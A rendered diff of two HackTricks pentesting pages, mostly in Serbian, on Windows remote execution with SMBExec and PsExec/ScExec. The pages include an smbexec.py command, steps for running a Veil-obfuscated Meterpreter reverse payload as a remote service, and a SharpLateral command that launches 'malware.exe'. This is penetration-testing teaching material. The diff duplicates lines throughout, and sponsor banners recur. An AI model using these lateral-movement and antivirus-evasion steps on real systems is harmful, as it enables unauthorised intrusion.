Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Kako to funkcioniše <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works
**Smbexec** je alat koji se koristi za daljinsko izvršavanje komandi na Windows sistemima, sličan **Psexec**, ali izbegava postavljanje bilo kojih zlonamernih datoteka na ciljni sistem. **Smbexec** je alat koji se koristi za daljinsko izvršavanje komandi na Windows sistemima, sličan **Psexec**, ali izbegava postavljanje bilo kojih zlonamernih datoteka na ciljni sistem.
### Ključne tačke o **SMBExec** ### Key Points about **SMBExec**
- Radi tako što kreira privremenu uslugu (na primer, "BTOBTO") na ciljnim mašinama kako bi izvršio komande putem cmd.exe (%COMSPEC%), bez ispuštanja bilo kakvih binarnih datoteka. - Deluje tako što kreira privremenu uslugu (na primer, "BTOBTO") na ciljnim mašinama za izvršavanje komandi putem cmd.exe (%COMSPEC%), bez ispuštanja bilo kakvih binarnih datoteka.
- I pored svog diskretnog pristupa, generiše logove događaja za svaku izvršenu komandu, nudeći oblik neinteraktivnog "shell-a". - I pored svog diskretnog pristupa, generiše dnevničke zapise za svaku izvršenu komandu, nudeći oblik neinteraktivnog "shell-a".
- Komanda za povezivanje koristeći **Smbexec** izgleda ovako: - Komanda za povezivanje koristeći **Smbexec** izgleda ovako:
```bash ```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
@ -30,8 +38,8 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
### Izvršavanje Komandi Bez Binarnih Fajlova ### Izvršavanje Komandi Bez Binarnih Fajlova
- **Smbexec** omogućava direktno izvršavanje komandi kroz binPaths servisa, eliminišući potrebu za fizičkim binarnim fajlovima na meti. - **Smbexec** omogućava direktno izvršavanje komandi kroz binPaths servisa, eliminišući potrebu za fizičkim binarnim fajlovima na meti.
- Ova metoda je korisna za izvršavanje jednokratnih komandi na Windows meti. Na primer, kombinovanjem sa Metasploit-ovim `web_delivery` modulom omogućava se izvršavanje PowerShell-targetiranog obrnuto Meterpreter payload-a. - Ova metoda je korisna za izvršavanje jednokratnih komandi na Windows meti. Na primer, kombinovanjem sa Metasploit-ovim `web_delivery` modulom omogućava izvršavanje PowerShell-targetiranog obrnuto Meterpreter payload-a.
- Kreiranjem udaljenog servisa na napadačevoj mašini sa binPath postavljenim da izvrši pruženu komandu kroz cmd.exe, moguće je uspešno izvršiti payload, ostvarujući povratne informacije i izvršavanje payload-a sa Metasploit slušačem, čak i ako dođe do grešaka u odgovoru servisa. - Kreiranjem udaljenog servisa na napadačevoj mašini sa binPath postavljenim da izvrši pruženu komandu kroz cmd.exe, moguće je uspešno izvršiti payload, postizajući povratne informacije i izvršavanje payload-a sa Metasploit slušačem, čak i ako dođe do grešaka u odgovoru servisa.
### Primer Komandi ### Primer Komandi
@ -46,6 +54,14 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
## References ## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,57 +1,71 @@
# PsExec/Winexec/ScExec # PsExec/Winexec/ScExec
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
## Kako funkcionišu <figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB: Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\
Dobijte pristup danas:
1. **Kopiranje binarnog fajla servisa na ADMIN$ share preko SMB** se vrši.
2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl. {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
3. Servis se **pokreće daljinski**.
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**. ## Kako funkcionišu
### **Proces ručnog izvršavanja PsExec** Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB:
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskiran korišćenjem Veil-a da bi se izbegla antivirusna detekcija), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju: 1. **Kopiranje binarnog fajla servisa na ADMIN$ deljenje putem SMB** se vrši.
2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl.
- **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ share iz komandne linije, iako može biti postavljen bilo gde na fajl sistemu da bi ostao skriven. 3. Servis se **pokreće daljinski**.
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**.
- **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
### **Proces ručnog izvršavanja PsExec**
- **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi servisni binarni fajl i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
Pretpostavljajući da postoji izvršni payload (kreiran sa msfvenom i obfuskovan korišćenjem Veil-a da bi se izbegla antivirusna detekcija), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju:
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana.
- **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ deljenje iz komandne linije, iako može biti smešten bilo gde u fajl sistemu da bi ostao skriven.
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
- **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
Pronađite detaljnije korake na: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati greškom "time-out" zbog toga što binarni fajl nije pravi servisni binarni fajl i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
**Takođe možete koristiti Windows Sysinternals binarni fajl PsExec.exe:**
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana.
![](<../../.gitbook/assets/image (165).png>)
[Saznajte više o `sc` komandi](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Takođe možete koristiti [**SharpLateral**](https://github.com/mertdas/SharpLateral):
Pronađite detaljnije korake na: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{% code overflow="wrap" %}
``` **Takođe možete koristiti Windows Sysinternals binarni fajl PsExec.exe:**
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
``` ![](<../../.gitbook/assets/image (165).png>)
{% endcode %}
Takođe možete koristiti [**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %}
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice na svetu.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)